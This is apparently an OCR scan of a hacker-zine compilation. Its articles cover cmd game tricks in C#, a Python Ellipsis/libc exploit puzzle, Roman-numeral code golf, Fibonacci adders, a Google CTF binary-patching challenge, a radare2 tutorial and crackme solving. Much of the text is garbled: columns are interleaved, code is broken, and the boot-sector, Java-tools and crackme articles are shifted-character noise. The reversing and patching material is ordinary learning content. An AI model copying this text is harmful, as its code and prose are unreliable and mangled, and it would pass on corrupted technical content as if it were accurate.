Meemkj a somewhat bored security researchamho GetSthandIF:e(y g

accidentally exploits and therefore shuts down a part of

the stable universe compet, is the protagonist inan Y v C}p @& }v J &uoos E v }E Eo0 »-
urban noir-style EASCII game. He learned a lot about ttBased on the keywords Dlllmport and the imported
infrastructure he discovered by using an unknownfunction[enames, you are able to dig into the topic(s)
proprietary protocol. Now he knows the universe will de-deeper or just use the code to sep a fullscreen cmd to
stabilize reaching an undefined state in a couple of daygjet an immersive experience.

He needs to get physical access to the universe computingnother tricky part is the keyboard input: Open a notepad
infrastructure which is held by the SAOT&&¢ret Alliance in Windows and press a letter on your keyboard for some
of the Universp On his way he needs to exploit all kindstime. You will notice a delay before the letter is
of security systems, physical as well as computer base@peatedly printed and probably a delay after releasing
and gets himself in situations he was not preparedthe key. This behavior is called character repeat hold time
(JEYYYYYYYYYYYYYYYYYYYYYYYYYahd Yelay.Yii& ¥ system setting and also occurs when

, out Xxy);

Oo_ O_ using the standard Console.ReadKey in T delay is
o o0 o/l [/ ©O very impractical for games, so we need another way to
I r . \ VA handle keyboard input. Luckily there is a way using
N \ I Vo t]v W/[« A]v hrodgX dser32.dll. The GetKeyState

function allows us to check if a given key is down and can

. . , . , be used in C# as follows:
When starting with thisvleemkiproject, a few constraints

were made for the sake of fun, style and challenge: run ip Dliimport ( )]

cmd; system libs only; graphics with CP850 chars. | useublic static extern short GetKeyState(

C# .NET because it is fast to get to the point and | am int  nVirtKey );

quite confident with it. i
In this article, some tricks are shown which solve commordZ & SpEvV <Z}ES[s Z]PZ }E &E ]S AJoc
prob|ems with game deve|0pment for cmd to get you is down. All that is left to do is getting the hex code for the
started. key we want to checkhftp://msdn.microsoft.com/en-
First of all, we want a borderless fullscreen cmd. This cas/library/dd375731%28v=VS.85%29.3spass it to the

be achieved by utiliny t]v W /GensoleApi3.h available function and compare with a proper bitmask:

through the kernel32.dll. In particular we are going to use

the SetConsoleDisplayMode function which can bdl ((GetKeyState( )& =0

accessed in C# as follows:

0x27 is the right-arrow on the keyboard and the if-

[ Dilimport  ( )] statement is true when the key is down. This way
public static extern bool keystrokes feel very direct. If this solution is still too slow
SetConsoleDisplayMode(  IntPtr hConsoleOutput, for you, have a look at the GetAsyncKeyState function
uint - dwrlags, o within winuser.h which reflects the interrupt-level state of
out _COORIpNewScreenBufferDimensions); the keys.

. . Last but not least, if want to redraw th ntent of
In order to invoke it, we need the _COORD struct and ast bu 10t least, 1t you want to edra € content 0
; e cmd, it is worth to consider double buffering to avoid

handle to the console screen buffer: . ) . . -
flickering/stuttering which is likely to appear when

[ StructLayout (LayoutKind .Sequential)] redrawing the whole screen for every frame. Rdeemki

public struct _COORD a memory buffer is used and onllge changes betwee_n
{ two frames are redrawn to the screen by using
public short X; Console.SetCursorPosition and Console.Write.
public  short Y; Meemkiis currently in a very early stage but if you are
{XE“;’_“\C( _ y(}:OORB‘hO” X, short y) interested, check it out hergithub.com/OxRUFF/Meemki
\ ; ;
[ Dllimport  ( )
public static extern IntPtr

GetStdHandle(  int nStdHandle);

Calling the functions on startup witi1t for the standard DISCLAIMER: The described methods may not work on all
output handle and 1 for console fullscreen mode: devices as they might depend on certain drivers.

github.com/OxRUFF



from cpython_exploit_ellipsis import *

from cpython_exploit_

Have you ever tried using Ellipsis
Then do this in your Python interpreter:

in Python? No?

>>>
Ellipsis

Boom! If you don't know what Ellipsis s for,this arti-

ellipsis import *

Since those are real modules, we can also call their func-
tions. Let's see this on an example that uses the unsafe
yaml. load function that allows us to launch arbitrary code
via loading proper yaml payload:

>>> ... yaml. load(

f:le won't ex;l)laln |t. . We will play Wl'th Ellipsis  a bit more yaml. load is insecure by design :(
instead. Let's begin with some magic: 0
>>> from cpython_exploit_ellipsis import  *

The second feature the magic gave us is the ability to
>>> ., isinstance (.. , Ellipsis . _class_ ) get libc functions via __getitem__. This might be handy
(Ellipsis , True) o o if you want to play with things like printf , scanf or other

not-so-obvious functions and you are too sophisticated to put
o . . yourself in a write-compile-launch loop. Example below.
The Ellipsis seems to be the same but it has two addi-

tional features. First of all, we don't have to do any explicit
import statements now. We can do inline imports instead,

via Ellipsis object's __ getattr
>>> ... antigravity
<module from

i >

>>> ]

<_FuncPtr object at 0x7f35603aa4f8>
>>> [ 10

51242132

>>> . [ I(

0x9bb100 (nil)
47

pd(..)
0x1be1498 0x555390 0x555421 Oxa

That's all. So how is it done? See for yourself by solving the puzzle below and studying the exploit code! Enjoy o/

33 0d 0d Oa 56 27 eb 5c b9
40 00 00 00 73 76 00 00
5a 01 78 34 65 02 65
18 5a 05 65 06 65 01
65 01 83 01 65 09 65
Oe 5f Of 64 08 5a 10
00 00 00 00 00 00 00

00 00 00 00 00 07 00 00 00
64 03 84 00 64 03 83 02
68 03 18 00 44 00 5d
00 71 30 57 00 65 08
65 0d 83 01 83 02 6a
2a 63 00 00 00 00 00
5a 01 64 00 5a 02 64

00 29 06 da 04 5f 5f
00 73 04 00 00 00 64
5f 72 05 00 00 00 72
70 6¢c 6f 69 74 5f 65
00 00 73 02 00 00 00
00 00 00 00 02 00 00
01 7c 01 83 02 53 00 29
da 07 67 65 74 61 74 74 72 5a 04 43 44 4Ac
04 69 74 65 6d 72 05 00 00 00 72 05 00 00 00 72 07 00 00 00 da
74 65 6d 5f 5f 07 00 00 00 73 02 00 00 00 00 01 7a 10 5f 5f 5f 5f
74 65 6d 5f 5f 4e 29 07 da 08 5f 5f 6e 61 6d 65 5f 5f da Oa 5f 5f
5f da Oc 5f 5f 71 75 61 6¢ 6e 61 6d 65 5f 5f 72 08 00 00 00 da Oa
74 5f 5f da 10 5f 5f 67 65 74 61 74 74 72 69 62 75 74 65 5f 5f 72
00 00 72 05 00 00 00 72 05 00 00 00 72 07 00 00 00 72 03 00 00 00
00 00 08 01 08 02 04 01 72 03 00 00 00 2e da 09 5f 5f 63 6¢ 61 73
73 5f 5f 72 08 00 00 00 72 11 00 00 00 5a Oc 64 69 73 63 6f 6e 6e 65 63 74 33 64 4e 29
11 5a 06 63 74 79 70 65 73 72 03 00 00 00 da 03 73 65 74 da 03 64 69 72 72 12 00 00 00
72 0a 00 00 00 da 07 73 65 74 61 74 74 72 72 09 00 00 00 da 02 69 64 da 04 63 61 73 74
5a 06 73 69 7a 65 6f 66 5a 09 63 5f 73 73 69 7a 65 5f 74 5a 07 50 4f 49 4e 54 45 52 5a
08 63 5f 75 69 6e 74 36 34 da 08 63 6f 6e 74 65 6e 74 73 da 05 76 61 6¢ 75 65 da Oa 5f
5f 61 75 74 68 6f 72 5f 5f 72 05 00 00 00 72 05 00 00 00 72 05 00 00 00 72 07 00 00 00
da 08 3c 6d 6f 64 75 6¢ 65 3e 01 00 00 00 73 Oa 00 00 00 08 02 Oe 08 1e 01 18 02 22 01

1You might want to check out https://stackover ow.com/ques tions/772124/what-does-the-python-ellipsis-object-d o

https://disconnect3d.pl/
https://github.com/disconnect3d
https://twitter.com/disconnect3d_pl
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A parser-generator in 100 lines of C++
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Rome golfing

Rome gol ng

How do you convert for example 42 to base 16?

A

r2 2 42 (10) = 2A (16)

Can we do the same to convert arabic numbers to

roman?

At the beginning of year 2003 on usenet newsgroup
pl.comp.lang.javascript a small code golf challenge has
been posted. Ultimately what they produced is mind

boggling:

romeg(N s, b, a, 0){{
(s=b= ,a=5; N b++ a"=7)
(0=N%aN=N/a’0; o-- ;)
s= . charAt (0>2?b+N-{ N&=%) +(0=1) :b) +s;
S

In base 10 system we have units, tens, hundreds and

so on... Each as ten times previous one. But that is not

the case with roman numerals:

Symbol

Il VvV X L C D M
Value 1 5

10 50 100 500 1000

Vis ve times I, but X is two times V. Then L is ve
times X and C two times L. There is pattern alternating
5 and 2. Let's try to convert 42:

42 /518 r2 1
8/2|4 r0
4/5]0 rd4 XXXX /XL

First divide 42 by 5 which gives 8 and remainder 2.
So there are two symbols I.

Next divide 8 by 2 (remember to alternate) to get 4
and remainder 0, so no Vs there.

Lastly dividing 4 by 5 gives terminating 0 and
remainder 4. That gives four symbols X.

42 is XXXXII using additive notation, but for four
symbols in a row we're using subtractive notation. Thus
we need to reach fomext symbol and precede it withone
current symbol giving in result XLII.

If we look at various numbers there are two variants
requiring subtractive notation. One is like 4 subtracting
from next symbol (IV) and other like 9 subtracting from
symbol two places further (IX). Let's look at 19:

19 divided by 5 is 3 and remainder 4. Four symbols we

Function rome takes one argumentN which is the
number to convert. Other arguments are basically just
local variable declarations without using var keyword.
Global variables wouldn't be elegant.

Resulting roman numeral is assembled irs.

Variable b is a pointer to the currently processed
symbol. Itis initialized to an empty string which treated
as a number would be converted to value 0.

Variable a is used to alternate between 2 and 5.

Remainder { number of symbols of given type { is
saved in variableo.

Outer loop initializes variables and goes as long abl
is not zero. After each iteration it moves to the next
symbol (b++ and switches between 2 and 5 using neat
xor bit twiddling trick.

Initialization part of inner loop divides Nby a (2 or
5) and setso to remainder and N to quotient. Because
JavaScript has only oats N/a"0 trick acts like int(N/a)
discarding fractional part.

Loop goes as long as is greater than zero.

Call to charAt method on a string chooses next
symbol which is concatenated withs.

If o is not greater than 2 index is simply current
symbol being processed, i.e. value di.

Otherwise subtractive case is handled.

Index is the current position (b) plus one (0=1) plus
another one if Nis an odd number.

Middle part of that { N-(N&=~1) { uses bit trick to

want to write in subtractive notation and this is second set least signi cant bit of Nto 0 e ectively subtracting

variant so we reach to X and subtract | from it.

Then 3 divided by 2 gives 1 with remainder 1. That
gives one symbol V.

Final step is to divide 1 by 2 to get O and remainder
1. Last symbol is X.

XVIX is not the expected result. Problem is that IX
in additive notation is VIIII so we should have had one
less Vs in the result. Let's try again.

19/5|3 r4 IX 19/5]31 r4 IX
3/2]1 ri1 2/2]1 ro
1/5/0 r1 X 1/5]0 r1 X

And that gave XIX :) Alternatively we can subtract
one from the division result before the next step.

one from odd numbers. Even values stay unchanged so
whole expression is 0 for odd numbers and 1 otherwise.

return s { | have absolutely no idea what comment
it warrants ;)

Happy gol ng
Taeril

Usenet discussion is archived at:
topic/pl.comp.lang.javascripttuDJED8XeaDg
Unfortunately it's in Polish language.
Great respect to Vax who was the main driving force of this
challenge, but also to BlaTek, Coder and Krzyszt _o for participating.

Awesome, mind blowing job!

https://groups.google.com/d/

https://taeril.kraina.org/



Does order of variable declarations matter?

6, % 0 4

# 3
$% & %$ # '
$% ( & )%$
$% *** | # %%
$% + & +%$
$% - & )%$

L # $% oo H s
" & # "$I ( ) #% ) u! # 1
¥ +# % # % TH -9
, ) - -9'E T H
( / , 'E
0 "1 # 23 F )
.lll $|3 % ]
% # # # %
4 * , % #
7= = G '
D % , )
5 % , , # 4
! / 0 )
23 #
%, # 4 )
% . 4
# 3%
$% & %$ # ' # 3
% ( & )%$ $% & %$ # '
% ) & )%$ $% ( & )%$
$%0 *** " # %$ $% ) & +%$
$% + & +%$ $% 1 & )%$
$% # , -%$ $% # , 2%$
6 # % 7# , 8 5 % , ) #
-9 , 7 , H$
% #
4 < @ E  %#%
= )
# ' A7+&$ & # '
& <, % $
I < , % , #
> .
? 4 . v .
G ;4_40@, ' "' .@ @, 7""C@, @;
0@ ' @ @ A A, # 7=
@@ >' @B @&C+".+@ 7
g 7 + E ' ?
‘]’ 1

https://github.com/sergiuszlts



Bootcard

11 . N
Q Q I + / VHFWLRQ WH[W

WVXUDL WVXUDL#WVXQL[ GH! FRGH

OMPS VWDUW FDQRQLF®DQIS]H
A Hr vb HQp2/i?2 r2B "/ M/ Q#b+m" 2%’&?@” 77 +BBM;X
h?BMFBM; OQmibB/2 Q7 i?2 #Qt M/ + 2 |BMQIWQK2|'7BM MHW [ WH[W PRGH

rbo M2p2® K2 Mi iQ #2 M/ KB;?i MQi Rp2RMRK F2 MWPI
b2Mb2 iQ Qi?2  T2QTH2X ﬁ§$[|| EK
1Mi2> "QQi+ /- #QQi #H2 KBMB@ "2bm{ikd B[M I%p@%gthi “2 H
KQ/2 bb2K#H2 +Q/2i? i}ibBMi?2 K|bi2L@MR[Qi 2+Q /FOHDU VFUHHQ
M/ + M #2 T°'BMi2/ QM #mbBM2bb + /2|{/R+UQE/[2/Eb zZ_
+Q/2X [RU"G
PRY[ DK

LQW [ UHVHW FXUVRU SRV
R _2 HKQ/2 M/i?2 K bi2  #QQi "2+Q / PRY [H DK
PRYBELQDU\BVUFBGDWDBW[WIBVWDUW
HH t3e +QKT iB#H2 *SIb #2;BM 2t2+miBGgM Q7 i?2 #QQi
b2+iQ" +Q/2 BM 6°2 H KQ/26X _2 H K@PS%B&bQDlID\%\/\UFBGDWDBVW[uNBHQG
HBKBi2/ Re@#Bi H2; +v QT2  iBM; KQ/2 I%HQJG?K)@:XI%(QI'?Z
i?BM;b-+ M QMHV /B 2+iHv // 2bb #le Q7 Qv

M/ /27 mHib iQ Re@#Bi QT2  M/bX 'mi Bisd{hQuw b QMZOW FrOUPFWRU
Ip Mi ;2 Qp2° i?2 jk@#Bi T Qi2+i2/ | Mk®® @#Bi HQM;
KQ/2 #v #2BM: #H2 iQ 2 bBHv ++2pb "#mRa 7mM+iBQMb
r2B+? Bb i?2 2 bB2bir viQ T'BMi Qm]i2tkP¥ i?2 b+ 22MX

PM2 KB;?i i?BMF i? i i?2 "APa Bb r2HH #22 p2/ M/ T UUT ERRW
bT2+B}2/X a /Hv-i? i Bb 7 " 7°QK "2 :{/}Bw}g:l_gmm%&?‘?j&m T ERRW Sl
h?2 b2+QM/ T i Q7 Qm’ 2t2+miBQM| 2MpB QMK MM BbLIPR GDWD R
K bi2°> #QQi "2+Q /X h?2 +H bbB+ H )" BB! OBRK ¥YfERRW OG RIRUPDW ELQDU\ ?
H ;2 "2 +QMbBbiBM; Q7 99e #vi2 #o_'éiEﬁ%")’zLP" EXLeO9G ERRW R EXLOG GDWP R
#vi2 T "iBiBQMi #H2 M/ k #vi2 K ;B+ bB; M |m "2X Ibm
i22 +Q/2 rQmMH/ 2 p2 iQ }i BMiQ i?2 #Q&WB%/ mz}"/!:t #B'V' ‘VBM? M/b- HHr2 M2

r2+ Mmb2i?2T "iBiBQM i #H2 b r2H AR Y Bl\)?dg B#mi2 BiX aQK2 bQ'i Q
mb2 7Q" BiX iQ #2 TTHB2/ 1Q /2+°2 b2 i?2 bBx2 Q7 i

|'>2 Z_+Q/2 i? iBb #2BM: :2M2" i2/ 7 QK BiX

Q#pBQmb + M/B/ i2- #mi i?2‘2bmHiBM; +QK

KB:?i #2 iQQ p ‘M2 7Q 1?2 "2 /2°iQ #2 2+«

h?2 bb2K#Hv +Q/2 /Q2b MQi ? p2 iQ 9B *?¥

*i?2° bBKTH2X HH r2 M22/ 27mM+|BQMH%S bt?Qt'lijQM ? b #22M b?QrM

i?72 b+'22M 7°QK T 2pBQmb "APa Qm - TIEMIK M2/ iQ Tmi  #QQi #t

Qm’ QrM /i X Gm+FBHv i?2 0B/2Q ' R Q BN HZb”ZZ' #v mbBM; # b2e9 2M+Q

i7Qb2 ++2bbB#H2 pB i?2 BMi2 "mTi MtRy}?B/fd%'éad?Whpz”“TQX”ZZ'V'Qm /i
UQmM KB:?i #2 rQM/2 BM: r?2°2i?22 +ilm' @ #¥paPr33bkii" MbH i2/ BMiQ b2°B2b Q7

Bb +QKBM: 7°QKX Ai Bb F2Ti BM }H2 B!T‘Q*ﬁ 2 Rp8 M X

+Q/2 7Q° #2ii2° 2 /| #BHBiv M/ iQ pQB/ mMM2+2bb ‘v

"2+QKTBH iBQMX TH BM a*AA 2M+@/§9Mh"ﬁu'n§3@'i"8b

#2BM; i’ MbH i2/BMiQ jk@#Bi1G6 2HQ+ HR/I27§ .
" iX :2M2° i2 Z_ +Q/2
Q#D+QTv M/ HBMF2/ BMiQ i?2 X Q/ |b%2K+FBbQZ l7 ,) CK MvTTH BHH +im

#BM “vX N
"mir Bi-MQrQm®i2tiBb 2/#H2T‘|(5 2Q%//;9 |B|bm 2rb7mMiQ

M/ H 2 /v b22b i22 +QM|2M|X h? i6b MQ 7mM
"2 :QBM;iQ 6?B/26 Bi#v TTHVBM; bBKTH2 sP :
h? i Bb MQi 2 HHv :QBM: iQ 7QQH MvQM2 Q7 ~2'=~'~ "'#
H2 bi Bi ?B/2bi?2 /i 7°QK TH BM bB;?iX
6BM HHv-i?2 HBMF2 b+ BTi Bb TmiiBM; Bi H BTl AL
/[Ibi?2yt88 #QQib2+iQ bB;M im 2 #vi2b ii?2 c":”f., b
YytR61 Q7 i?2 #BM v iQ +QMbi m+i p HB/ K ﬁ‘r,-:-.—‘;r_*_n_
"2+4Q°/i?2 "APa + M }M/ M/ #QQiX

k AKTH2K2Mi iBQM

R2IIT,ffrrrX+ivK2X+QKfBMi“fBMi@RyX?iK kK2iiTh,ffrrrX[m tBQX+QKf#QQi #H2n+/n"2i"Qn; K2nir

github.com/tsurai



Designing adder circuit for Fibonacci representation

Designing adder circuit for Fibonacci representation

Tomasz ldziaszek
algonotes.com/en/ bonacci-arithmetic

Fibonacci numbers are de ned as follows: In a single step, we need to apply one of these trans-
_n- _ 1. _ _ . . formations to a group of four double-bits, which come
Fo=0; Fi=1; Fi=Fii+F . fori 2 from adding a; + b. We represent such a double-bit as
thus forming an in nite sequence Q1;1;2;3;5;8;13::: a two-bit integer A;B;, thus rst we apply a half adder
Any natural number can be represented as a sum of h to them (see image below).
distinct Fibonacci numbers, e.g. 7 =5+2 = Fs + F3. The circuit b-adder that selects appropriate transfor-
Edouard Zeckendorf noticed that as long as we don't use mation is a little bit complicated. Note that the leftmost
adjacent numbers, this representation is unique. Thus a double-bit is always in f0; 1g, since we already removed

binary string ax 1:::a;ap of length k in which there are  2s from that part, so we don't needAs.
no adjacent 1s, uniquely represents humber

adjacent 1s means no adjacent holes). That leads to a {
question: how to perform basic arithmetic operations? A, B, BS
Let's start with incrementation by one. To increment
ax 1:::a18p and obtain ccck 1:::CiCo, Wherecy is the To construct a multidigit adder we must take care of
carry (over ow) ag, it su ces to do the transformation border cases (at both sides of the string). On the left we
ajap ! c1co on the last two bits: just add bogus 0. On the right we introduce bogusF;
and Fo. The latter has value 0, so obtained coe cient
0ot 01 01t 10 100 11 can be ignored, but the former has to be examined.
and leave the remaining bits unchanged. After all this we get a string containing only Os and 1s,
Unfortunately, this could lead to a pair of adjacent 1s. but there could be arbitrarily long strides of adjacent 1s,
We can remove it by applying transformation 011! 100 as well as bogus ; = 1.
from right to left to subsequent triplets of bits. On the To x it, we apply a sweep of transformation 011! 100
image below there is a circuit x that performs such twice. First from left to right, which is equivalent to
transformation and a 5-bit incrementer using it: making following transformations for y in f0; 1g:

4 a & & A y01?s0! y(10)°00  y01*1 0! y(10)°010

After that groups of adjacent 1s have length at most
two. We can remove them by making another sweep from

Bs A2 B A1 B1 Ao Bo
a 1 Fxs1 + i+ @ Fz3+ a Fo | L |
There areFy., such strings and they represent numbers _ 1
from O to F_k+2 _ 1. _ _ a b g oy
We could imagine a computer that stores integers in B
this representation (think that it would improve sturdi- a
ness of punch cards, should such computer use them: no
\
BS

R e
=
R

!
A

az air ao

Q right to left. Also co and ¢ ; cannot be simultaneously
| 1 equal to 1, so we can just or them. On the image below
Q Q Q there is an adder producingcy+1 C« :::C1Co for k = 5:

[
a3 aj ag Cs C4 C3 C2 C1 Co

Addition of two integers ax 1:::a;a0 and b 1:::byby
is more complicated. After we add them position-wise,
we could end up with adjacent 1s or even some 2s (but
only surrounded by Os from both sides).

First we try to remove 2s (ignoring adjacent 1s). We do it
from left to right, making sure that we do not introduce
any new 2s to the left, but we can introduce some new
2s to the right (and even some 3s, as well as some 2s or
3s adjacent to 1s, that must be removed in subsequent
steps). After playing for a while with transformations
needed, we could obtain the following list:

0 [ x
020¢ ! 10x  021x ! 110 ]
030! 110« 012! 101x

Here x denotes any digit fromf0; 1;2g and x = x + 1. C6 C5 C4 C3 C2 &1 Co

algonotes.com



A box of tools to spy on Java

D]r IN j]]Yh j] hds ][ <p<e
$dif P<h DII[ QZdg]lpQ[O Qjh jllYh Y<jlI¥sdkd @y NigYpResIQ[OhjHQ P YhkzY'Y
E]Zl qQjP Z<[ d<Olhe QN Q[ G]kDj j<XI €$kQIdX |fPI§ldbhjlZz1 HQDOMj gl

LRUC Y<K[EPIG qQjP]kj <[s NP kY qQKYdiyQZidhshki[j® ljgA 1 gl dQBlhkh |

NY<Oh s]k ZQOPj q<[j j] RIEKG he <hkEWRZK[lih d<hlO&Y]Q hPH <6®kZI[jh d<h
jPl Z<Q[ ZIjP]M6&HB]qh d<EX<OI [<Zlh!e

LUVCBMQ[jh <YY <p< jPglI<G hj<EX jg<BElthigEAP<RhdR&) hQ¢N]gZKjB§I <G
gP<j E]GI Qj'h Ekggl[jYs ITIEKjQ[O*@® I@b<kchMNEXh NMQP NJEXKsIG hQZ Q)Y
<p< jPglI<G E<[ DI Q[ Q[EYskOCh-%¥HO<GPOhhg<QjQ[O N]g I[jgs j] < EgQ]j
9#+6+0¥jJPgl<G DY]EXIG NG Bk +Vc&A9#+6+¥PLGEV YCKYQEP < jQZI]Kk]j
<gOkZI[ji* OPIgl Qh ZKEP Z]gl khINIG<IZN¢dE Qi[9 NjlsEQHRIFIQ 6!+
¥dgQJgQjs QR EGEINM jPI[PHYQCG]IN jPI jPgI<G Q[ jPI $/js <GEQEOJPPI<c
E]ZlI Q[ khINKY j] khl h]Zl Z]gl <Gp<[EIG $/jjjRYHhP¢I1¥IGxeg[ Z]gl <D]k

LOCRCcjPQh jl11Y g@W @ Q[lj]s]R! jPE<d G] < Pl<dGkzd ][ DIY]q plghQ][
AA s]k hP]kYG GIEP®jlqRjP<j GkZdQ[O jPI Pi<d E<khlh < “hj]dGPI glgYC
jP<j ][ EgJQJQE<Y dg]Elhhlh}e /1ZHNHYCHCRHdODhsMEYKNUYBRE]EY<hh]|
POQhjJOg<ZHKHRGNK\GTKPH®REZIg EY<hhlIh qPQEP <gl O<jPIgIiIG@®g <gDb<OIl
HKPCNK\ZI§P]Gh P<pl []] DII[ E<YYIG slj]|

LUVCY h<ZdYIlh < gk[[Q[O 6! N]g hIYIEjIG Z]jQA@EH<HaYNRY d]jfR® B KMs X
PlYd qQjP Z]gl IdP1ZIg<Y ][lhes /]1Z1 KEMIKKANNNK O O[EYKGK[G
RTKPVEQORKNYW®IQPPc<sh jPI Y<hj hkEEIhhNKY 0 E]ZdQY<jQ][!e

LEONCQI[jg]GKEIG Q] EngPQh HIZsQX[NI [N 6! G@{O[[IGRE BIXE<[G
< gk[[Q[O 6! j] <EE]ZdYQhP Z]hj IN gP<jZj®llg JkYEP<®YJQjR]gj<{> E]ZZ
<EjhLRWAHIEOF RKF JGINR@Ig gP<j E]ZZ<[Gh <gl <p<QY<DYI N]Jg < O0Qj
ZQOPj] GQNNIg GIdI[GQ[O ][ gP<j 6! plghl®@][ Qh jPI dg]EIlhh gk[[Q[O

LJUFBc<p< ]j/d]j GIDkOOIg! Qh d1kpY21¥iilZi d <MBi@PBKEIG Q] Ee N s]
dg]pQGI Qj qQjP < E]gl Gkzd NQYI <[G < jd<YRK[Ej Ij P6Qdjgd BiMur< N 1k helk
Y<K[EP Z]hj IN jPI <N]glZI[jQ][IG jl]IYNHKRIBFOGLUMEEMALOCRALKPHQ «

EQTG RCVJ VQ EQTG FWOR GZG RCVJE¥Q <8hkDI khiG j] GIDKO <
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Build your own controller for NES!
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Wobble the Nintendo logo on the Game Boy
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HOW TO: unboringly tease GoogleCTF 2019

HOW TO: unboringly teas& gl C

209

HOW NOT TO: introduce into python

1 Introduction

Last year's Google CTF's Beginners Quest did not
introduce into reverse engineering very well. Unfor-
tunately there were two RE-challenges and only one
of them, called GATEKEPPER ? , with the potential
to get you in touch with a disassembler. Most video
write-ups, | have seen#®, did not take a look into the
assembly or the algorithm itself, because it was not
necessary and they caught the password almost im-
mediately. What a pity! How could this be and does
it give a good introduction into the topic of reverse
engineering?

2 Problem

Because the encoded password was stored within the
binary, you got your attack vector. In my opinion, the
chosen password was way too trivial and so the rever-
sed leetspeak phrasezLI1ks.d4m_tOg_N\ kind of aler-
ted everybody. Not real reversing but literally simple
reversing was involved to get to the ag. There was a
big unused potential within this task. It was small and
commonly compiled code, to easily reverse and un-
derstand the algorithm, instead of guessing the right
answer. | heavily thought about how to use this good
potential and gave it a try patching it.

https://github.com/google/google-ctf/itree/master/
2018/beginners
2https://github.com/google/google-ctf/blob/master/
2018/beginners/re-gatekeeper/attachments/gatekeeper
Shttps://ww.youtube.com/watch?v=bshuAGkgY3M
4https:/iwww.youtube.com/watch?v=gqDYwclfOLZw
Shttps:/iww.youtube.com/watch?v=WUOMnLWKFrc

3 Solution

| just tinkered a little bit inside the binary, closed
the backdoor and let you peek into crucial changes
being made. You should be unable to simply reverse
the patch. | think it is still easy but hopefully not as
quickly solvable as last time. Perhaps you will learn
at least something new from the modi ed challenge.

4 Task

The home owners put another cake in the fridge, not
before xing some issues and patching the software.
Thanks to our surveillance team, we just intercepted
some parts of the current patch.

#! /us..bin/..thon

f = open(‘gatekeeper’, 'r+b’)
f.s.ek(Oxde0)
fwr..e(b'S..Wh..e")
f.seek(0Oxe01)
f..rite(b's..cr..E..1k..rc")
..see..0xb29)

f.write.b.\x..")

Good luck and lots of fun using your prefered disas-
sembler to reverse some x86opcodes. Experienced
players must not use the given link and instead di-
sassemble the binary stored in olly's magical backup
patterns. With pen and paper only, of course! ;P. So-
lutions you could mailto:idandre@hotmail.de . Do

you feel like playing more CTFs? Let's meet June 22
at Google CTF 2019'!

6https://github.com/idandre/gatekeeper-2.git
"https://g.colctf

https:/lyoutube.com/channel/UCej7jrdKOs|TTi_GuaWFKCcA



HOW TO: easily get started with radare2

HOW TO: easily get started with

HOW NOT TO: learn x86 assembly language

Basic Concepts

To open a le in write mode, type:
r2 -w file

Welcome to the r2 command line. To understand r2
better | will introduce some concepts rst. r2 has
a seeker which points to the virtual memory address
shown inside the square brackets.

[0x00000b10]>
If you need some help use the commana@.

[0x00000b10]> ?
... | s[?] [addTr]

Do you need some more help with a speci c command
Just append? to it.

[0x00000b10]> s?
... | s Print current address ...

seek to address ...

Unlike most OS terminals, the command names arex-
tremely puritanical and most of them are abbreviations
of the actions you would like to perform. So do not be
surprised about commands like:

[0x00000b10]> wtf! aF1L3

Evil to him who evil thinks, because it just (Writes (t)o
the (f)ile aF1L3from current addressOxb10 to the end
of the mapped memory. This greatly speeds up the
analysis process, but on the other hand, it takes a lot
of time to learn it and even more to master.

Visual Mode

You can switch to visual mode with the commandVand
come back to the command line mode by pushing [q].
In visual mode, you can scroll up and down in a vim-like
fashion with [j] and [k], as well as enter the command
line by pushing key [:]. While moving up and down,
the seeker is updated to the very top memory address
shown. There are ve dierent print modes which can
be changed by [p] and [P]. Most of the time reversing
code, | work in the third, the debugger mode. To auto-
matically analyse the main function push [:], then type
the command af@main Now push [V] to switch to the
interactive Ascii Art graph which displays a owchart
of the analysed function. Move around with [h][jI[K][I].
Zoom in with [+], zoom out with [-] and zoom to 100%
with [0]. If you would like to get some help, just push [?]
as usual. Rotate through ve di erent modes with [p]
and [P]. To highlight text, use [/] and type in the text
you want to be shown highlighted.

Binary Patching
The following command (p)rints a he(x)dump of size
0x8 at the address appended by@

> px 0x8 @O0xde0
OxdeO 306e 335f 5734 724d  On3_W4rM

How to (Write a (z)ero terminated string at address
Oxde0?

> wz SnwWhlte @0xde0

Just push [A] in visual mode to (Write some
(a)ssembler, or use the command line with key [:].

> wa mov edi, 0 @0xa24

Debugging

For debugging a le in r2, you need to use option-d.
r2 -d file

To add a (d)ebug (b)reakpoint at the addresssym.main
plus o set 0x1a0 just type:

db sym.main+0x1a0

In visual mode, you simply push [s] to move the CPU
register RIP one (d)ebug (s)tep forward. Or you can
assing a new value to the d)ebugged ¢ )egister RAX:

ds; dr rax = 0x12345678

Misc

There is one more thing worth mentioning. After |
started working with r2, | always opened a python con-
sole for calculations. At that time | did not know that

there was a much more elegant and easy way.

> ?v Oxdead0000 + 0x0000beef
Oxdeadbeef

Are you tired and have enough for today? So let's §)uit
and take a rest. To see radare2in action, you might be
interested in watching a more comprehensive youtube
tutorial 2.

Lhttps://www.radare.org
2https:/iwww.youtube.com/watch?v=hufgzz8nwNw

https://youtube.com/channel/UCej7jrdKOsjTTi_GuaWFKcA



Crackme Solving for the Lazies

~ . Q[hj@kEjQ]I ZdYI EQ<EXZlh qQ
bON-70 @ 0 %en 8 d]hh@v qPI[ EPIEXQ[O jP
. ~ . lr<ZdYle gqPI[ [<QplYs E]Zd<gQ[O jq]
o u \O™ | I‘EQYY hjld <j jPI NQghj GQNNIgQ[O E
P<g<Ejlgh ql’'gl <DYIl j] Oklhhe
IE<khl []D]Gs P<h jQZI j] q<hjlQIhjgkiESQ][h gqQYY DI IrlEkjIG
Eg<EXZlh GkgQ[O 0 e« Plgl <gl jg] hQzdyYl
hQGIYEP<[[IYhYD<hIG jgQEXh jOPIQQEX¥dghdEPl PRh jPI [QEIl hQG
D]gQ[O ]J[lhe OPI NQghj Qh N]Jg qPQ[$IkcXE §R<PkIhhQ[O jPI NY<O
d<gjINjPIE]GIQhkhIG|j] GQhdY <EjPdN]E] Oyee qPQXII [P[l jPI Z]pQ1h %o
h1E][G Qh N]g jPQ[Oh jP<j s]k G]["]j IpI[ a<[j j]
YIIX <je $[ QI[kre ZI<hkgQ[O <YY h]gjh IN Y]
. E<[ DI G][lI pQ< jPI digN]gz<][EI
Iplg<OIYOkKkQGIG h]YpPQ[O Q[Ng<hjgkEjkgle Ird]hIG j] kKI@MA[C
j11YhkQjle OPQh E<[ I<hQYs DI gg-
$dI[ jP1 DQ[<gs Q[ s]kg N<p]gQjl PHsjIRgj]gh qRPQEFP hEgQdj DIY]qe j]
hP]kYG N E]kghl DI g<G<glAs HRZddNESRjYPNNIEjQpl DgkjIN]JgEIc
